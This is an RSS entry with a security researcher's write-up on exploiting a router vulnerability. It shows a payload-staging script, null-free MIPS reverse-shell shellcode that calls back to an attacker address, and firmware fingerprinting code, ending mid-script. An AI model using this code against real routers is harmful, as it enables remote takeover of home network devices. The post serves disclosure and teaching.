<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>razor7877</title>
	<atom:link href="https://kylianeury.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://kylianeury.com</link>
	<description>reverse-engineering &#38; low-level stuff</description>
	<lastBuildDate>Sun, 18 Oct 2026 21:23:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>https://kylianeury.com/wp-content/uploads/2024/02/cropped-android-chrome-512x512-1-32x32.png</url>
	<title>razor7877</title>
	<link>https://kylianeury.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Getting a Reverse Shell on TP-Link &#038; Mercusys 4G Routers: Creating the Shellcode – Part 3 (CVE-2026-75118)</title>
		<link>https://kylianeury.com/getting-a-reverse-shell-on-tp-link-mercusys-4g-routers-creating-the-shellcode-part-3-cve-2026-75118/</link>
		
		<dc:creator><![CDATA[razor7877]]></dc:creator>
		<pubDate>Sun, 18 Oct 2026 20:55:42 +0000</pubDate>
				<category><![CDATA[Reverse Engineering]]></category>
		<guid isPermaLink="false">https://kylianeury.com/?p=257</guid>

					<description><![CDATA[Introduction This article will be the third and final part of our series about the vulnerability that we discovered in TP-Link &#38; Mercusys routers. In the two previous parts, we have first obtained the firmware of the Mercusys MB115-4G. Then, we analyzed it and found a pre-authentication buffer overflow accessible to anyone on the local [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">This article will be the third and final part of our series about the vulnerability that we discovered in TP-Link &amp; Mercusys routers. In the two previous parts, we have first obtained the firmware of the Mercusys MB115-4G. Then, we analyzed it and found a pre-authentication buffer overflow accessible to anyone on the local network.</p>



<p class="wp-block-paragraph">The nature of the vulnerability and the number of bytes that we can overwrite with this exploit highly suggests that we can get remote code execution on the router and therefore hack it remotely. However we still need to demonstrate this. This will be the goal of this last part.</p>



<h2 class="wp-block-heading">Overflow to remote hack</h2>



<p class="wp-block-paragraph">The first question to answer is how a buffer overflow can let us run code on a device remotely in the first place. The general idea is the following:</p>



<ul class="wp-block-list">
<li>A stack buffer overflow allows us to overwrite variables on the stack such as function return addresses</li>



<li>By tampering with those, we can make the program go to any location in the code</li>



<li>If we reuse bits of code, or if we point it to a zone with code that we control (writing data that is considered valid code by the processor), we can make it execute anything</li>



<li>We want this code to cause the device to connect back to our attacker machine and give us remote shell access (this is called a reverse shell)</li>
</ul>



<p class="wp-block-paragraph">In our case, there are no protections on the binary or the router, which means we can use basically any technique. A common one is to simply place executable code inside the buffer that we are overflowing. However, this can be quite brittle, as stack addresses vary significantly depending on version, program state etc. This happens even without protections such as ASLR.</p>



<p class="wp-block-paragraph">Also, one of my goals with this work is to develop something that is as reliable as possible, and ideally even a single exploit that can work automatically with multiple versions of the router. Because of this, we need to find another way of storing our code.</p>



<p class="wp-block-paragraph">Since I have already made many of those exploits for CTF challenges, and because it can be a huge time sink, I decided to use my AI-assisted harness to accelerate this work. It was run in a semi-automatic way where I would tell it what to look for and what to do.</p>



<h2 class="wp-block-heading">Laying the groundwork</h2>



<p class="wp-block-paragraph">Now that we know what we&#8217;re looking for, we can start working on preparing everything for our exploit. To get a good reliability on our exploit, we want to get the code in a memory area that is predictable and stable. Since there are no protections, we can store executable code anywhere in memory.</p>



<p class="wp-block-paragraph">On Linux systems, the address space generally looks something like this:</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="821" src="https://kylianeury.com/wp-content/uploads/2026/09/image-11-1024x821.png" alt="" class="wp-image-290" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-11-1024x821.png 1024w, https://kylianeury.com/wp-content/uploads/2026/09/image-11-300x241.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-11-768x616.png 768w, https://kylianeury.com/wp-content/uploads/2026/09/image-11.png 1190w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">The stack is located in the upper memory addresses, and it contains information regarding local variables and current function calls. It allows the program to know where to go back to when return is called, and to use variables without requiring calling functions like malloc every time.</p>



<p class="wp-block-paragraph">It is however the most brittle, as many factors change the stack addresses and make them close to impossible to predict:</p>



<ul class="wp-block-list">
<li>Environment variables are stored in the stack when a program starts, so any change in them will shift the stack</li>



<li>Program arguments (argv) are stored on the stack</li>



<li>The exact versions of the kernel &amp; program loader may have different allocations and alignment rules</li>



<li>The call path will also affect the addresses. Callstacks to a same vulnerable function can have different addresses:
<ul class="wp-block-list">
<li>foo() =&gt; vulnerable_function()</li>



<li>foo() =&gt; bar() =&gt; vulnerable_function()</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">Some techniques do exist to mitigate this (NOP sleds for example) but it is not ideal for producing a reliable exploit.</p>



<p class="wp-block-paragraph">The heap is another potential location for our shellcode. It is better than the stack because the start address is fixed and known (unless protections such as ASLR are enabled). If any part of the code stores our data in a variable allocated using malloc, this data will be found inside of the heap. Just like the stack, it is affected by allocation patterns which makes it harder to predict addresses.</p>



<p class="wp-block-paragraph">Finally, we have the program code and global variables stored in the lowest part of the address space, at constant addresses if ASLR is off. No matter what happens, those will not change and are very reliable. The only time it will change is if the binary changes (updated code being recompiled in newer firmware versions), so we can reliably keep one address per program version.</p>



<p class="wp-block-paragraph">Therefore, we will be targeting the global variable area specifically. Our goal is to find a way to get our data into one of those locations. It needs to be large enough to contain our shellcode, and the function that stores the data should have minimal checks (like removing/blocking some characters/values).</p>



<h2 class="wp-block-heading">Controlling global variable contents</h2>



<p class="wp-block-paragraph">At this point, I knew what I was looking for. We need to find an HTTP endpoint that is accessible pre-auth, gets our data, and stores it into a global variable at some point, with more or less constraints on how it transforms our data.</p>



<p class="wp-block-paragraph">To save time on this step, I started the agentic harness with the Ghidra MCP and told it to search for any endpoint that would allow us to get controlled data into a memory location inside of the BSS section (the memory area where the linker decides to store global variables when compiling a program).</p>



<p class="wp-block-paragraph">We cannot store data in globals in the same request that triggers the vulnerability, as all the data stays on the stack. However this is not an issue: this is a single connection server that does not fork the process, and all data persists between requests.</p>



<p class="wp-block-paragraph">What makes a good staging primitive is specific enough to describe precisely. We want a function that takes attacker-controlled input and copies it into a fixed address in BSS, rather than into a stack local or a heap allocation, and that is reachable without authentication. The copy has to land somewhere permanent and predictable, and nothing on the path should require a session we don’t have.</p>



<p class="wp-block-paragraph">Rather than hunt for that by hand across the binary, I described the shape of what I wanted (controlled data reaching a global, pre-auth) and handed it to the agentic harness to find, using the Ghidra MCP.</p>



<p class="wp-block-paragraph">It surfaced two candidates, both in <code>http_parser_main</code>, the function that walks the request line and headers one by one. Each known header is handled in its own branch, and two of those branches copy header-derived data straight into a global buffer, before any authentication since header parsing happens first.</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
// Content-Type header handler
if (strncmp(value, &quot;multipart/form-data&quot;, 19) == 0) {
    char *boundary = strstr(value, &quot;boundary=&quot;);
    if (boundary != NULL) {
        // Skip &quot;boundary=&quot;
        boundary += 9;
        while (*boundary == &#039; &#039; || *boundary == &#039;\t&#039;)
            boundary++; // Skip leading whitespace

        // 0x3b - value ends at &#039;;&#039;
        char *semi = strchr(boundary, &#039;;&#039;);
        if (semi != NULL)
            *semi = &#039;\0&#039;;

        // Copy into .bss global
        strncpy(multipart_boundary, boundary, 0xff);
        // 255 bytes + NUL
        multipart_boundary&#x5B;0xff] = &#039;\0&#039;;
    }
}
</pre></div>


<figure class="wp-block-image alignwide size-full"><img decoding="async" width="889" height="166" src="https://kylianeury.com/wp-content/uploads/2026/10/image-1.png" alt="" class="wp-image-348" srcset="https://kylianeury.com/wp-content/uploads/2026/10/image-1.png 889w, https://kylianeury.com/wp-content/uploads/2026/10/image-1-300x56.png 300w, https://kylianeury.com/wp-content/uploads/2026/10/image-1-768x143.png 768w" sizes="(max-width: 889px) 100vw, 889px" /><figcaption class="wp-element-caption">HTTP multipart boundary is stored in BSS  (at 0x004514b4 in 1.9.0)</figcaption></figure>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
// Cookie header handler, iterating &#039;;&#039;-separated pairs
while (*cookies != &#039;\0&#039;) {
    cookies = http_parser_argIllustrate(cookies, &#039;;&#039;, &amp;name, &amp;val);
    while (*name == &#039; &#039;) name++; // Skip leading whitespace

    if (http_tool_strcmpWeek(name, &quot;JSESSIONID&quot;) == 0) {
        // jsessionid_buf is the global at 0x004515b4
        if (strstr(jsessionid_buf, val) == NULL) {
            // Copy into .bss global, 128 bytes
            strncpy(jsessionid_buf, val, 0x80);
            DAT_004524fc = 1;
        }
        http_session_doSession(val, &amp;req);
    }
}
</pre></div>


<figure class="wp-block-image alignwide size-full"><img decoding="async" width="889" height="64" src="https://kylianeury.com/wp-content/uploads/2026/10/image.png" alt="" class="wp-image-346" srcset="https://kylianeury.com/wp-content/uploads/2026/10/image.png 889w, https://kylianeury.com/wp-content/uploads/2026/10/image-300x22.png 300w, https://kylianeury.com/wp-content/uploads/2026/10/image-768x55.png 768w" sizes="(max-width: 889px) 100vw, 889px" /><figcaption class="wp-element-caption">JSESSIONID cookie is stored in BSS (at 0x004515b4 in 1.9.0)</figcaption></figure>



<p class="wp-block-paragraph">The first one is responsible for boundary tag parsing in HTTP requests:</p>



<pre class="wp-block-code alignwide"><code>POST / HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=&lt;BOUNDARY_VALUE&gt;
Content-Length: 435</code></pre>



<p class="wp-block-paragraph">When an HTTP request contains the <code>multipart/form-data</code> content type, it requires a <code>boundary</code> tag, which our server parses and stores in a global buffer of 256 bytes (minus one byte for the null termination).</p>



<p class="wp-block-paragraph">Our second one is another part of the HTTP parser that stores the value contained in a cookie named <code>JSESSIONID</code>:</p>



<pre class="wp-block-code"><code>GET / HTTP/1.1
Host: example.com
Cookie: JSESSIONID=&lt;SESSION_ID_VALUE&gt;</code></pre>



<p class="wp-block-paragraph">This one allows for up to 128 bytes of our data. For both of them, we are restricted and cannot use the following bytes:</p>



<ul class="wp-block-list">
<li>0x00 / &#8216;\00&#8217; &#8211; NUL Termination</li>



<li>0x0A / &#8216;\n&#8217; &#8211; Line-feed character</li>



<li>0x0D / &#8216;\r&#8217; &#8211; Carriage return character</li>



<li>0x3B / &#8216;;&#8217;</li>
</ul>



<p class="wp-block-paragraph">Now we can write a short Python script that allows us to stage a payload of our choice in this location:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: python; title: ; notranslate">
import socket

HOST = &quot;192.168.1.1&quot;
FORBIDDEN = {0x00, 0x0a, 0x0d, 0x3b}

def stage(payload: bytes):
    assert not (set(payload) &amp; FORBIDDEN), &quot;payload has a forbidden byte (00/0a/0d/3b)&quot;
    assert len(payload) &lt;= 0xff, &quot;boundary buffer is 255 bytes&quot;
    raw = (b&quot;GET / HTTP/1.1\r\n&quot;
           b&quot;Host: %b\r\n&quot;
           b&quot;Referer: http://%b/\r\n&quot;
           b&quot;Content-Type: multipart/form-data; boundary=%b\r\n&quot;
           b&quot;Connection: close\r\n\r\n&quot;
           % (HOST.encode(), HOST.encode(), payload))
    s = socket.create_connection((HOST, 80), timeout=6)
    s.sendall(raw)
    try:
        s.recv(4096)
    except OSError:
        pass
    s.close()

if __name__ == &quot;__main__&quot;:
    # Demo: stage a recognizable marker into .bss.
    stage(b&quot;STAGED_MARKER_&quot; + b&quot;A&quot; * 16)
    print(&quot;staged %d bytes into the boundary .bss buffer&quot; % (14 + 16))
</pre></div>


<p class="wp-block-paragraph">If we execute this code with the router running, then our data will be stored at the following locations depending on the firmware version:</p>



<ul class="wp-block-list">
<li>1.8.0 =&gt; 0x00451fb4</li>



<li>1.9.0 =&gt; 0x004514b4</li>



<li>1.10.0 =&gt; 0x00451da4</li>
</ul>



<p class="wp-block-paragraph">This means that in the next steps, we can reference this address and start executing our code there. </p>



<h2 class="wp-block-heading">Preparing the shellcode</h2>



<p class="wp-block-paragraph">With this prepared, we can start working on our actual exploit. Now is a good time to remind ourselves of the architecture. The firmware is running on a 32-bit MIPS CPU, so our shellcode will need to contain valid MIPS instructions. It is a fairly simple instruction set, and each instruction is of a 32-bit fixed length. Because the parser restricts some characters, we will also need to make sure our shellcode does not contain those, which might require us to use some tricks.</p>



<p class="wp-block-paragraph">At this point, we can start thinking about what to actually do with our newfound knowledge and a way of setting up (almost) any payload at a known location. Since we are trying to exploit a router remotely, we would likely want to be able to gain full control over it. One way to do this is to use a reverse shell: get the router to connect a shell to our attacking machine.</p>



<p class="wp-block-paragraph">To get a reverse shell running, we will need to use low-level system calls, and if we were to do it in pseudo C code, it would look something like this:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
// Create a new network socket
sock = socket(AF_INET, SOCK_STREAM, 0)
// Start a connection to port 9001 of our attacker machine (192.168.1.2)
connect(sock, {AF_INET, 9001, 192.168.1.2}, 16)
// Redirect stdin/stdout/stderr to the socket
dup2(sock, stdin);
dup2(sock, stdout);
dup2(sock, stderr)
// Open the shell with the pipes redirected to the attacker machine
execve(&quot;//bin/sh&quot;, {&quot;//bin/sh&quot;, NULL}, NULL)
</pre></div>


<p class="wp-block-paragraph">We want to translate this C code to the MIPS assembly equivalent. Since we need to use specific system calls, we&#8217;ll want to look up what&#8217;s known as an application binary interface (ABI). Ours will be the Linux MIPS o32 ABI, which describes how many low-level features are handled by the Linux kernel for 32-bit MIPS processors. The syscall table can for example be found in the Linux kernel <a href="https://github.com/torvalds/linux/blob/master/arch/mips/kernel/syscalls/syscall_o32.tbl">Github source</a> (note that we need to add an offset of 4000 when calling them).</p>



<p class="wp-block-paragraph">Let&#8217;s start with creating a socket as described above. The syscall number is 4183, and it takes three integer arguments: family, type and protocol. A quick search tells us that we should store the syscall number in v0, then the arguments go in a0-a3. Our shellcode should look something like this:</p>



<pre class="wp-block-code"><code>li $v0, 4183 # Set syscall number to socket()
li $a0, 2    # Set family to AF_INET (2)
li $a1, 2    # Set type to SOCK_STREAM (2) - this is 1 on x86 but 2 on MIPS
li $a2, 0    # Set protocol to 0
syscall      # execute the syscall, we should get our socket fd or error back in $v0</code></pre>



<p class="wp-block-paragraph">Now if we try compiling it we get the following bytes:</p>



<pre class="wp-block-code"><code>57 10 02 24 # li $v0, 4183
02 00 04 24 # li $a0, 2
02 00 05 24 # li $a1, 2
00 00 06 24 # li $a2, 0
0c 00 00 00 # syscall</code></pre>



<p class="wp-block-paragraph">While this is perfectly valid MIPS code, if we try to stage this in BSS using our previous primitive, everything after the first null byte (&#8220;00&#8221;) will be discarded since this marks the end of a string. This means we&#8217;ll need to find a way of doing the same thing while avoiding them.</p>



<p class="wp-block-paragraph">Instead of trying to load the value 2 into a register, we can make use of arithmetic instructions:</p>



<pre class="wp-block-code"><code>addiu $t0, $zero, -515 # Stores -515 into $t0
addiu $t1, $zero, -513 # Stores -513 into $t1
subu  $a0, $t1, $t0    # Stores $t1 - $t0 into $a0 (=2)</code></pre>



<p class="wp-block-paragraph">This will add -515 to 0 and store the result in t0, then add -513 to t1 and store the result in t1. Then it subtracts t0 from t1, and stores the result in a0. This means we end up with the value 2 in a0. Now if we look at the compiled assembly:</p>



<pre class="wp-block-code"><code>fd fd 08 24 # addiu $t0, $zero, -515
ff fd 09 24 # addiu $t1, $zero, -513
23 20 28 01 # subu  $a0, $t1, $t0</code></pre>



<p class="wp-block-paragraph">We notice that we have eliminated all null bytes while keeping the behavior the same. We can use similar tricks for the syscall instruction that contains multiple null bytes:</p>



<pre class="wp-block-code"><code>syscall 0x40404 # Works like the previous syscall</code></pre>



<pre class="wp-block-code"><code>0c 01 01 01</code></pre>



<p class="wp-block-paragraph">By encoding a &#8220;parameter&#8221; that the processor never reads for this instruction, we also keep this part null byte free. And here is another trick that we can use for setting bigger values in registers (like our syscall numbers):</p>



<pre class="wp-block-code"><code>ori $v0,$zero,0x1057 # Set v0 to socket() syscall</code></pre>



<pre class="wp-block-code"><code>57 10 02 34 # ori $v0,$zero,0x1057</code></pre>



<p class="wp-block-paragraph">This one only works if we&#8217;re using a value with bits on in both bytes. This is why we didn&#8217;t use it for the previous smaller values.</p>



<p class="wp-block-paragraph">Now we can start writing out part of our shellcode:</p>



<pre class="wp-block-code"><code># Set $s1 to 1 if 0 &lt; -1, else set it to 0 (register to zero trick)
slti $s1,$zero,-1

# Set $a0 to 2 (family)
addiu $t0,$zero,-515
addiu $t1,$zero,-513
subu $a0,$t1,$t0

# Set $a1 to 2 (type)
addiu $t0,$zero,-515
addiu $t1,$zero,-513
subu $a1,$t1,$t0

# Set $a2 to 0 (protocol)
# We add 0 to 0 (we set $s1 = 0 before) and store it in $a2
addu $a2,$s1,$s1

# Set $v0 to 4183 (socket syscall number)
ori $v0,$zero,0x1057

# Now we execute it => socket(2, 2, 0)
syscall 0x40404

# Save the returned file descriptor in $s0
addu $s0,$s1,$v0</code></pre>



<p class="wp-block-paragraph">At this point, v0 will contain the file descriptor for our created socket. We can continue and write the shellcode for each syscall in a similar way. Connecting with the socket will require some extra work.</p>



<p class="wp-block-paragraph">If we look at the syscall table again, we see its number is 4170 and it requires three parameters: fd, uservaddr, addrlen. The first and last are integers, but uservaddr is tricky since it is a struct sockaddr* structure. We will have to build this dynamically before passing it on to the syscall.</p>



<p class="wp-block-paragraph">First, here&#8217;s how it&#8217;s organized in memory and the values we want to place in there:</p>



<figure class="wp-block-table"><table><tbody><tr><td>Offset</td><td>Size</td><td>Field</td><td>Value for 192.168.1.2:9001</td></tr><tr><td>0x00</td><td>2</td><td>sin_family</td><td>2 (AF_INET)</td></tr><tr><td>0x02</td><td>2</td><td>sin_port</td><td>0x2923 (port 9001, byte-swapped)</td></tr><tr><td>0x04</td><td>4</td><td>sin_addr</td><td>0x0201a8c0 (192.168.1.2, byte-swapped)</td></tr><tr><td>0x08</td><td>8</td><td>sin_zero[8]</td><td>unused padding</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Two of these fields need care. Both sin_port and sin_addr are stored in network byte order (big-endian), while our MIPS CPU is little-endian. That means the bytes land in memory in the opposite order from how we’d write the number, so we pre-swap them when building the shellcode rather than at runtime:</p>



<ul class="wp-block-list">
<li>Port 9001 is 0x2329. In network order the bytes in memory are 23 29, so the value we actually store is 0x2923</li>



<li>The address 192.168.1.2 is c0 a8 01 02. Stored as a little-endian word that produces those bytes in that order, the register value is 0x0201a8c0</li>
</ul>



<p class="wp-block-paragraph">We build the structure directly on the stack rather than in a global, since it’s only needed for the duration of the call and we already have a stack pointer to work with. We’ll place it at $sp+0x120:</p>



<pre class="wp-block-code"><code># Build struct sockaddr_in at $sp+0x120

# sin_family = 2 (AF_INET)
addiu $t0,$zero,-515
addiu $t1,$zero,-513
subu $t2,$t1,$t0
# Store family as a halfword
sh $t2,0x120($sp)

# sin_port = 9001
ori $t3,$zero,0x2923
# Store port as a halfword
sh $t3,0x122($sp)

# sin_addr = 192.168.1.2
# Load the high half
lui $t4,0x0201     
# OR in the low half
ori $t4,$t4,0xa8c0 
# Store the full 4-byte address
sw $t4,0x124($sp)</code></pre>



<p class="wp-block-paragraph">The pointer to our structure will be $sp+0x120. The values are laid like this:</p>



<ul class="wp-block-list">
<li>$sp+0x120 (offset 0) =&gt; AF_INET (2)</li>



<li>$sp+0x122 (offset 0x2) =&gt; 9001</li>



<li>$sp+0x124 (offset 0x4) =&gt; 192.168.1.2</li>
</ul>



<p class="wp-block-paragraph">Let&#8217;s finalize our connect code:</p>



<pre class="wp-block-code"><code># $a0 = sockfd (copied via +0 from our zero reg)
addu $a0,$s0,$s1
# $a1 = pointer to the sockaddr_in we just built
addiu $a1,$sp,0x120
# Build 16 the same way as our other constants
addiu $t0,$zero,-514
addiu $t1,$zero,-498
# $a2 = 16 (sizeof the structure)
subu $a2,$t1,$t0
# connect() syscall number
ori $v0,$zero,0x104a
# connect(sockfd, &amp;sockaddr, 16)
syscall 0x40404</code></pre>



<p class="wp-block-paragraph">Then we run the dup2 syscalls so that the stdin/stdout/stderr get redirected to our socket:</p>



<pre class="wp-block-code"><code># Set $a1 to 0 (stdin)
addu $a1,$s1,$s1
# Set $a0 to the socket fd
addu $a0,$s0,$s1
# Set syscall number to dup2()
ori $v0,$zero,0x0fdf
# dup2(sock, stdin)
syscall 0x40404

addiu $t0,$zero,-514
addiu $t1,$zero,-513
# Set $a1 to 1 (stdout)
subu $a1,$t1,$t0
# Set $a0 to the socket fd
addu $a0,$s0,$s1
# Set syscall number to dup2()
ori $v0,$zero,0x0fdf
# dup2(sock, stdout)
syscall 0x40404
  
addiu $t0,$zero,-515
addiu $t1,$zero,-513
# Set $a1 to 2 (stderr)
subu $a1,$t1,$t0
# Set $a0 to the socket fd
addu $a0,$s0,$s1
# Set syscall number to dup2()
ori $v0,$zero,0x0fdf
# dup2(sock, stderr)
syscall 0x40404</code></pre>



<p class="wp-block-paragraph">With the socket redirection ready, we only need to run execve now to open a shell. This is what replaces the current process image with a shell, and with stdin/stdout/stderr already pointing at our socket, that shell’s input and output will travel over the network to our attacker machine.</p>



<p class="wp-block-paragraph">Looking at the syscall table, execve() is number 4011 and takes three parameters: filename, argv, and envp. The first is a pointer to the path of the program we want to run (&#8220;//bin/sh&#8221;), the second is a pointer to the argument array, and the third is the environment array, which we’ll leave empty.</p>



<p class="wp-block-paragraph">This one requires building a few things in memory again. We need the string &#8220;//bin/sh&#8221; somewhere, an argv array holding a pointer to that string followed by a NULL, and a NULL for envp. We’ll lay all of this out on the stack just like we did for the sockaddr structure.</p>



<p class="wp-block-paragraph">You may have noticed that we use //bin/sh with two slashes instead of the usual /bin/sh. This is a common trick: /bin/sh is 7 bytes, which doesn’t divide cleanly into the 4-byte words we store with sw. The extra slash pads it to 8 bytes (two clean words), and the kernel treats consecutive slashes as a single one, so //bin/sh and /bin/sh point to the same file.</p>



<p class="wp-block-paragraph">The string is stored as two 32-bit words, again byte-swapped for our little-endian CPU:</p>



<p class="wp-block-paragraph">“//bin/sh” = 2f 2f 62 69 6e 2f 73 68<br>First word =&gt; 0x69622f2f (“//bi”)<br>Second word =&gt; 0x68732f6e (“n/sh”)</p>



<p class="wp-block-paragraph">We’ll place the string at $sp+0x104:</p>



<pre class="wp-block-code"><code># Build the "//bin/sh" string
# First word "//bi"
lui $t3,0x6962
ori $t3,$t3,0x2f2f
# Second word "n/sh"
lui $t4,0x6873
ori $t4,$t4,0x2f6e
# Store the two words
sw $t3,0x104($sp)
sw $t4,0x108($sp)
# NUL-terminate the string
sw $s1,0x10c($sp)</code></pre>



<p class="wp-block-paragraph">Both lui/ori pairs work here because every byte of those words is non-zero, so no null bytes appear. The final sw $s1,0x10c($sp) writes our zero register to terminate the string.</p>



<p class="wp-block-paragraph">Next we build the argv array. It needs to contain a pointer to our string, then a NULL:</p>



<pre class="wp-block-code"><code># argv&#91;0] = pointer to "//bin/sh"
addiu $a0,$sp,0x104
sw $a0,0x110($sp)
# argv&#91;1] = NULL
sw $s1,0x114($sp)</code></pre>



<p class="wp-block-paragraph">The pointer to the argument array itself will be $sp+0x110. The layout looks like this:</p>



<ul class="wp-block-list">
<li>$sp+0x104 =&gt; “//bin/sh\0” (the string itself)</li>



<li>$sp+0x110 =&gt; pointer to the string (argv[0])</li>



<li>$sp+0x114 =&gt; NULL (argv[1])</li>
</ul>



<p class="wp-block-paragraph">Now we can finalize the call:</p>



<pre class="wp-block-code"><code># $a0 = pointer to "//bin/sh"
addiu $a0,$sp,0x104
# $a1 = pointer to argv array
addiu $a1,$sp,0x110
# $a2 = envp = NULL
addu $a2,$s1,$s1
# execve() syscall number
ori $v0,$zero,0x0fab
# execve("//bin/sh", argv, NULL)
syscall 0x40404</code></pre>



<p class="wp-block-paragraph">With this, execve() replaces the process with /bin/sh, and since we redirected all three standard streams to our socket beforehand, we get a fully interactive shell on our attacker machine. Our shellcode is now complete.</p>



<h2 class="wp-block-heading">Fingerprinting the firmware version</h2>



<p class="wp-block-paragraph">Our staged shellcode lives at a fixed address, but that address is different for each firmware version (0x00451fb4, 0x004514b4, 0x00451da4 for 1.8.0, 1.9.0 and 1.10.0 respectively). If we want a single exploit that works against any of them automatically, rather than hardcoding one version, we first need to figure out which firmware the router in front of us is running &#8211; and we need to do it pre-authentication, since we don’t have credentials.</p>



<p class="wp-block-paragraph">The web interface gives us an easy way to do this. The server hosts a number of static JavaScript files that make up the web client, and these are served without any authentication. Their contents change between firmware builds as features are added or modified. That makes them a reliable version fingerprint: if we fetch one of these files and hash it, the hash tells us exactly which build we’re talking to.</p>



<p class="wp-block-paragraph">We’ll use /js/oid_str.js. We request it pre-auth, read the response body, and compute its MD5. A lookup table maps each known hash to its firmware version:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: python; title: ; notranslate">
FINGERPRINTS = {
    &quot;&lt;md5 of 1.8.0 file&gt;&quot;:  &quot;1.8.0&quot;,
    &quot;&lt;md5 of 1.9.0 file&gt;&quot;:  &quot;1.9.0&quot;,
    &quot;&lt;md5 of 1.10.0 file&gt;&quot;: &quot;1.10.0&quot;,
}

def fingerprint(host):
    &quot;&quot;&quot;GET /js/oid_str.js pre-auth and map its md5 to a firmware version.&quot;&quot;&quot;
    scheme = &#039;https&#039; if TLS else &#039;http&#039;
    raw = (f&quot;GET /js/oid_str.js HTTP/1.1\r\nHost: {host}\r\n&quot;
           f&quot;Referer: {scheme}://{host}/\r\nAccept-Encoding: identity\r\n&quot;
           f&quot;Connection: close\r\n\r\n&quot;).encode()
    s = mkconn(host); s.sendall(raw); s.settimeout(4)
    buf = b&#039;&#039;
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            buf += d
    except socket.timeout:
        pass
    s.close()

    head, _, body = buf.partition(b&quot;\r\n\r\n&quot;)
    if b&#039;chunked&#039; in head.lower():        # de-chunk if the server uses it
        out, rest = b&#039;&#039;, body
        while rest:
            ln, _, rest = rest.partition(b&quot;\r\n&quot;)
            try: n = int(ln.strip(), 16)
            except ValueError: break
            if n == 0: break
            out += rest&#x5B;:n]; rest = rest&#x5B;n + 2:]
        body = out

    h = hashlib.md5(body).hexdigest()
    return FINGERPRINTS.get(h), h
</pre></div>


<h2 class="wp-block-heading">Putting it all together</h2>



<p class="wp-block-paragraph">We now have both halves of the exploit. The earlier sections gave us a way to place arbitrary (byte-constrained) shellcode at a known, fixed address in the router’s memory, and a reverse-shell payload that respects those byte restrictions. Separately, Part 2 gave us the overflow itself: an unchecked memcpy in <code>http_gdpr_decrypt</code>, reachable pre-authentication through /cgi/login, that lets us overwrite the saved return address of <code>http_rpm_login</code>.</p>



<p class="wp-block-paragraph">The key thing to notice is that these are two independent operations, sent as two separate requests, and they go through two completely different parts of the server:</p>



<p class="wp-block-paragraph">Staging travels through the HTTP header parsing (the multipart boundary or the JSESSIONID cookie), which copies our bytes into a global buffer. This is why we had to avoid the forbidden bytes: the shellcode has to survive that string parser to arrive intact.<br>Triggering travels through the encrypted /cgi/login envelope, which is AES-decrypted on the device before the overflow happens. As we saw in Part 2, this path has no byte restrictions at all, so the oversized payload that smashes the return address can contain anything, including the address we want to jump to.</p>



<p class="wp-block-paragraph">This separation is what makes the whole approach reliable. Because the server is a single process that doesn’t fork and keeps its global state between connections, anything we stage in the first request is still sitting at the same address when the second request fires. And because there is no ASLR, that address is constant for a given firmware version. We don’t need to leak anything or defeat any protection: we stage the shellcode, then point the overwritten return address straight at it.</p>



<p class="wp-block-paragraph">Earlier we recovered the exact location of the staged buffer for each firmware version:</p>



<p class="wp-block-paragraph">1.8.0 =&gt; 0x00451fb4<br>1.9.0 =&gt; 0x004514b4<br>1.10.0 =&gt; 0x00451da4</p>



<p class="wp-block-paragraph">So the final exploit is just those two steps in sequence: stage the shellcode into the BSS buffer, then trigger the overflow with the return address set to that buffer:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: python; title: ; notranslate">
import socket, hashlib

# md5(/js/oid_str.js) -&gt; firmware version  (see the fingerprinting section)
FINGERPRINTS = {
    &quot;&lt;md5 1.8.0&gt;&quot;:  &quot;1.8.0&quot;,
    &quot;&lt;md5 1.9.0&gt;&quot;:  &quot;1.9.0&quot;,
    &quot;&lt;md5 1.10.0&gt;&quot;: &quot;1.10.0&quot;,
}

# Per-version .bss address of the staged boundary buffer (see the staging section)
BSS_ADDR = {
    &quot;1.8.0&quot;:  0x00451fb4,
    &quot;1.9.0&quot;:  0x004514b4,
    &quot;1.10.0&quot;: 0x00451da4,
}

def mkconn(host):
    # plain socket, or TLS-wrapped when TLS is set
    ...

def fingerprint(host):
    # GET /js/oid_str.js pre-auth, md5 the body, map to a firmware version
    # Returns (version, hash). Full implementation in the fingerprinting section
    ...

def build_shellcode(lhost, lport) -&gt; bytes:
    # Byte-clean MIPS reverse shell (socket/connect/dup2/execve), as built above
    ...

def stage(host, payload: bytes):
    # Deliver into the .bss boundary buffer via multipart parsing
    ...

def trigger(host, ret_addr: int):
    # Overflow http_gdpr_decrypt via /cgi/login, overwriting the saved RA.
    ...

def exploit(host, lhost, lport):
    # First we identify the firmware version ran by the target
    version, h = fingerprint(host)
    if version is None:
        raise SystemExit(f&quot;unknown firmware (md5={h}); no address on file&quot;)
